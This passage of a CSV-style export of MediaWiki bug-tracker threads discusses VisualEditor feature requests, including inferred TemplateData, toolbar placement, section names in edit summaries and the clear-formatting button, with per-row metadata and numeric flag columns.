+Indeed. It would help the newbies - not to push them to look for template page and/or template documentation and fill it slow, piece by piece. It is than much faster to add it copy&paste in wiki code, than use VE.",,,1388572741,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,False,,,26,,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,1,0,1,0,1
+241541,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,"(In reply to comment #6)
+> (In reply to comment #5)
+> > Kipod do you have a direct link to templatewizard as I've like to link to it?
+> 
+> See bug 52581 comment 4
+
+Or even
+https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)/Archive_103#Template_Parameter_Wizard
+mentioned on bug 39598 comment 1.",,,1383413531,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,False,,,17,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,1
+241535,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,"(In reply to comment #5)
+> Kipod do you have a direct link to templatewizard as I've like to link to it?
+
+See bug 52581 comment 4
+
+The transclusion UI currently requires thousands of hours to implement on each and every wiki.  This is an enormous design problem that especially impacts small wikis without thousands of minions who have nothing better to do but create templatedata, so I've added this as a blocker for non-English Wikipedia (bug 51792).",,,1381022591,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,False,,,13,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,0,1,0,1
+241525,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,"It is dead easy all you need to do is scan for {{{1}}}, {{{name}}}, {{{1| {{{name| etc. I've implemented this at
+http://en.wikipedia.org/wiki/User:Salix_alba/TDSkell
+and there are a few other implementations about. 
+
+Kipod do you have a direct link to templatewizard as I've like to link to it?
+
+There are 300,000 templates on the English wikipedia so many will never have their TemplateData written making this an important enhancement. 
+
+A slightly enhanced version of this request was asked at 
+
+http://en.wikipedia.org/w/index.php?title=Wikipedia_talk%3AVisualEditor&diff=574762591&oldid=573484823
+
+in addition to just getting the names it wanted to find the ""mandatory"" parameters, a much harder job.",,,1380869650,,PHID-USER-7hrs7wwclcldf7mm6a7o,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,False,,,13,,1,0,0,1,0,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,0,1,0,1,1,0,1
+241517,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,Kipod's Template Parameter Wizard is exactly the thing I'm looking for. At least it works in Wikitext mode nicely.,,,1375976785,,PHID-USER-xnvlg7y5phtzugavv6wj,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,False,,,5,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0
+241510,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,"templatewizard on hewiki implements this logic using 9 lines on JS, (so PHP  should probably be able to accomplish that with no more than 50 lines). might not be perfect, but it works for a long time now, and i did not get any bug report yet.
+
+peace.",,,1375943106,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,False,,,5,,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+241501,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,"This is something we're unlikely to get to do soon, as it would require a vast amount of work (and, indeed, Strong AI to do properly). However, it would be a great improvement, yes.",,,1375937039,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,True,,,5,,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+241492,VisualEditor: Template dialog should make use of guessed/inferred TemplateData for templates without it,"i added a ""see also"" to bug 52581.
+
+the idea is not to change anything with VE itself, but rather to teach teh TemplateData extension to return a ""cookie cutter"" templatedata through the API if it does not find ""templatedata"" tag on the template page.
+
+this way, all existing functionality, with all the neat thing one can do with templatedata will still work, and still, VE will be usable for template editing even without it.
+
+also, i think that programmatically, the right place to handle the issue is in the templatedata extension and not in VE itself (in addition to being cleaner and shorter code, there might be other scripts and tools that want to use the templatedata API. even if these were not a consideration, the templatedata extension is the right place to deal with templatedata shortcomings).
+
+
+peace.",,,1375882556,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-dpwiikhbs2gw5p5foc5a,task_subcomment,,True,c1,3,False,,,5,,1,1,0,0,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+53951,VisualEditor: Allow preference to move toolbar to over navigation sidebar,"The editor an en.wp who signs as ""Josh, linguist"" has left the following suggestion about toolbar placement in the Visual Editor:
+
+""I've encountered a sort of inconvenience which is the following: while editing, the toolbar occupies a significant area in the upper third visually and otherwise blocking the text, when we, at the same time, usually have an unoccupied area to the left (where the navigation column is which is often empty much below the existing items); the question is why not to devise a possibility, an option to change its place — I mean the toolbar could be opted to place it either where it's offered to be now – or, otherwise, on the left side of the pane – where it should not be blocking an essential area of the text to edit, in this case the text available without scrolling will be by, approximately (depending on your zoom), a half more than it is now.""
+
+For RTL wikis read ""right"" instead of ""left"".
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Lowest,10.0,1374662220,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-ks4nmmzc4p4mogffuzxg,task_description,open,True,c1,3,False,False,,3,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+421750,VisualEditor: Allow preference to move toolbar to over navigation sidebar,"In that case, though, we'd only really have room for six toolbar options and then ""…"", which I'm not sure is much better. :-(",,,1425591680,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ks4nmmzc4p4mogffuzxg,task_subcomment,,True,c1,3,True,,,87,,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,1,0,0
+421749,VisualEditor: Allow preference to move toolbar to over navigation sidebar,"Hmm, interesting idea. Lack of vertical space is especially a problem when using an on-screen keyboard, like on a tablet.
+
+{F56237}",,,1425591542,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-ks4nmmzc4p4mogffuzxg,task_subcomment,,True,c1,3,True,,,87,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+253308,VisualEditor: Allow preference to move toolbar to over navigation sidebar,"This is an interesting idea, and one worth exploring; right now, the team are focussed on squashing bugs, performance fixes, and core usability experience improvements, so I'm marking this as ""Lowest"" priority for now to avoid cookie-licking.",,,1379657567,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ks4nmmzc4p4mogffuzxg,task_subcomment,,True,c1,3,True,,,11,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,0,1,0,1,0,1,0
+53903,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary","one thing that makes life better with existing editor is the fact that when editing a specific section, the section name is automatically added to the edit summary. often, this ends up being the entire edit summary.
+
+REQUESTED ACTION
+1) when hitting ""save"", test to see if all the diffs are contained in a single section, and if so, add the section name to the edit summary automatically.
+2) just like with existing editor, allow the user to modify or remove this part. i.e., the request is to pre-populate the summary box, not to add section name outside of summary box such that the user can't touch it.
+
+peace.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**: T54859, T50274, T52872, T60488",Lowest,10.0,1374605160,,PHID-USER-akv4ingxkspiiam6r2n4,False,,False,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_description,open,True,c1,3,False,False,,3,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,1,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+397403,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary",">>! In T53903#959238, @matmarex wrote:
+>> The scope of the bug is bigger than that?
+>  
+> Yes:
+>  
+> - When the user edits text in other sections too, this hint shouldn't appear.
+> - When the user opens VE using the ""Edit"" tab at the top and only edits one section, the appropriate hint should appear.
+
+what he said.
+with VE, the ""edit"" links to the right (or left, in rtl wikis) of the section title are misleading: unlike wikieditor, where clicking one of those will limit the changes to this section, with VE there no such limitation. 
+
+IMO, the current VE behavior is wrong and misleading (T60488 agrees with this view). when looking at page history, i don't care which thingy the editor clicked to start the editor - i want to know which changes this edit contains.
+if you do not _know_ that the changes are limited to some section, please don't tell me they are. (and, on the other hand, if you _do_ know such a thing, it would be nice if you told me).
+
+peace.",,,1420824665,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,False,,,79,,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1
+396126,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary","> The scope of the bug is bigger than that?
+ 
+Yes:
+ 
+- When the user edits text in other sections too, this hint shouldn't appear.
+- When the user opens VE using the ""Edit"" tab at the top and only edits one section, the appropriate hint should appear.",,,1420635773,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,True,,,79,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,0,1,1,1,1,0,0,0,1,0,0,1,1,0,1
+394155,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary","Curret behavior in production:
+
+- click on Edit on a section on a page
+- make changes to that section - click Save
+- Save dialog box - 'Edit summary' box will pre-populated with the title of a section that was edited: 
+/* Section 3 */ 
+- 'Review your changes' will have an additional pointer to the section that was edited:
+Preview of edit summary:
+(→‎Section 3: )
+
+The scope of the bug is bigger than that?
+",,,1419970531,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,True,,,78,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,1,0,0
+250241,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary","(In reply to Elitre from comment #8)
+> Isn't this the current behavior (for various meanings of ""section editing"")?
+
+No. This is asking for VE-MW to insert the name of the section edited if only one section was edited, even if the editor was launched from a page-level link. Doing it when the user clicks a section edit link was bug 50872 and is indeed done. Not doing it when the user clicks a section edit link and then edits outside the link is bug 58488.",,,1412985721,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,True,,,66,,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+250238,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary","Isn't this the current behavior (for various meanings of ""section editing"")?",,,1412929540,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,False,,,66,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0
+250233,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary",*** Bug 56891 has been marked as a duplicate of this bug. ***,,,1384842568,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,True,,,20,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+250225,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary",(Thanks Matthew!),,,1376512668,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+250218,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary","(In reply to comment #4)
+> A user at it.wp wonders: if VE could pre-populate the summary box, could it
+> also auto-add the text that was added, in case of very short additions? i.e.,
+> if someone added a parameter to a template, could it automatically detect
+> what was added and write it in the edit summary? Thanks.
+
+Yes, in theory, but in my opinion, that's a separate bug.  Filed as bug 52859.",,,1376506478,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,True,,,6,,0,1,1,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+250208,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary","A user at it.wp wonders: if VE could pre-populate the summary box, could it also auto-add the text that was added, in case of very short additions? i.e., if someone added a parameter to a template, could it automatically detect what was added and write it in the edit summary? Thanks.",,,1376403025,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,False,,,6,,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+250201,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary","You're right, this isn't a duplicate; I'm re-opening and titling it to be clearer.",,,1375199919,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,0
+250195,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary","**ignatzmice.wiki** wrote:
+
+I agree with kipod's comments at bug 50872, this bug is not a duplicate if that one. This would be a very useful feature (if rather resource-intensive).",,,1375138221,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,False,,,4,,0,0,1,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+250191,"If the user only has edited in one section, VisualEditor should insert the name of the edited section into the edit summary","
+
+*** This bug has been marked as a duplicate of bug 50872 ***",,,1374605494,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-z3skamqtqkfqxyfwcbsx,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+53782,Provide a web interface for customizing an MediaWiki instance and provisioning it in the cloud or locally,"The basic idea is to have a clear and pleasant-to-use web-based interface for generating a MediaWiki instance manifest. The interface should allow you to tick off the extensions you want, for example, and it would automate the configuration of supporting software like Apache and memcached. There's an attractive example of such an interface at <https://puphpet.com/>.
+
+MediaWiki-Vagrant already implements the bulk of the work in that it provides a set of parametrized, MediaWiki-oriented Puppet modules and resource types. In plain English: MediaWiki-Vagrant can take a configuration file that says ""give me a MediaWiki instance with Scribunto and VisualEditor that is set up for development work"" and configure a machine to match these specifications.
+
+A number of cloud computing platforms provide hooks for uploading Puppet code to automate the creation and customization of servers. Some are event implemented as Vagrant 'providers', which means that you can run 'vagrant up' and Vagrant will create a cloud instance rather than a VirtualBox VM. Examples include vagrant-rackspace for Rackspace Cloud (<https://github.com/mitchellh/vagrant-rackspace>) and vagrant-aws (<https://github.com/mitchellh/vagrant-aws>) for Amazon AWS. A vagrant-openstack provider (<https://github.com/aodn/vagrant-openstack>) also exists; I don't know how much work it would take to make it work with Labs.
+
+The major work-item would be to build the web interface (or adapting the source code of <https://puphpet.com/> or some other project -- there are several), ideally as a MediaWiki extension so that we can offer the ability to provision a virtual server (either local or cloud-based) right on MediaWiki.org.
+
+I think that this could considerably broaden the appeal of MediaWiki to a new generation of internet users. The success of Wikia shows that there exists considerable demand for point-and-click wiki creation. It could also help drive third-party usage of VisualEditor / parsoid, if it is true that adoption is held back by anxiety over having to configure and maintain an additional software component.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Lowest,10.0,1374439020,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,False,PHID-TASK-mivgnyfxfz6yjozsfgrs,task_description,open,True,c1,3,True,False,,2,,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+243395,Provide a web interface for customizing an MediaWiki instance and provisioning it in the cloud or locally,Bulk unassigning bugs from Ori.,,,1416260155,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-mivgnyfxfz6yjozsfgrs,task_subcomment,,True,c1,3,True,,,72,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+243392,Provide a web interface for customizing an MediaWiki instance and provisioning it in the cloud or locally,[mass-moving from Tools>MediaWiki-Vagrant to separate product. See bug 54041. Filter bugmail on this comment.],,,1378939555,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mivgnyfxfz6yjozsfgrs,task_subcomment,,True,c1,3,True,,,10,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+243388,Provide a web interface for customizing an MediaWiki instance and provisioning it in the cloud or locally,"See also https://www.heroku.com/
+
+Juan,  I'll like what you're doing.  Emailing you.",,,1375133344,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-mivgnyfxfz6yjozsfgrs,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+243384,Provide a web interface for customizing an MediaWiki instance and provisioning it in the cloud or locally,"**jtreminio** wrote:
+
+Hi there, creator of PuPHPet here.
+
+We're actually actively working on providing ready-made quick-start configurations for some popular projects.
+
+Right now we have it done for Symfony2 (https://puphpet.com/quickstart/symfony) and for PuPHPet itself (https://puphpet.com/quickstart/puphpet).
+
+If I could be given your exact requirements I could easily whip something up for you :)",,,1374452121,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mivgnyfxfz6yjozsfgrs,task_subcomment,,True,c1,3,False,,,3,,1,1,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,0
+53757,VisualEditor: Clear formatting button should not remove links,"The ""clear formatting"" button returns bold and italic text to its plain state, as expected. However it also removes any links in the selection, which is not expected, rather there should be a separate ""unlink"" button to do this job - conceptually I regard a link as an attribute not as formatting.
+
+For example selecting a bolded sentence with an italicised title and a linked word in it. I clicked the clear formatting intending to clear the bold and italic, which it did but it also removed the link. Similarly if using it to remove a link it also removes bold/italic which is unlikely to be the intention.",Lowest,10.0,1374344100,1445613258.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-3geuv3zh7grvfypwtx6m,task_description,declined,True,c1,3,False,False,False,2,,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0
+241999,VisualEditor: Clear formatting button should not remove links,*** Bug 70739 has been marked as a duplicate of this bug. ***,,,1410482044,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3geuv3zh7grvfypwtx6m,task_subcomment,,True,c1,3,True,,,62,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+241994,VisualEditor: Clear formatting button should not remove links,*** Bug 59191 has been marked as a duplicate of this bug. ***,,,1390025103,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3geuv3zh7grvfypwtx6m,task_subcomment,,True,c1,3,True,,,28,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+241988,VisualEditor: Clear formatting button should not remove links,"(In reply to comment #4)
+> (In reply to comment #3)
+> > Also, removing a link takes three clicks if you don't use 'clear
+> > formatting'.
+>
+> Which is why I said there should be a separate button to remove
+> links with a single click.
+
+We're meant to be in the business of removing user confusion, not
+adding to it. More buttons make things harder to understand, in
+general. In this specific case I'm not sure.
+
+> > 'Clear markup' would be more descriptive, but probably less user-
+> > friendly.
+>
+> ""Clear markup"" doesn't describe what it does either, because it
+> doesn't remove paragraph style, text size, templates, colour, etc.
+> It only removes text formatting and links.
+
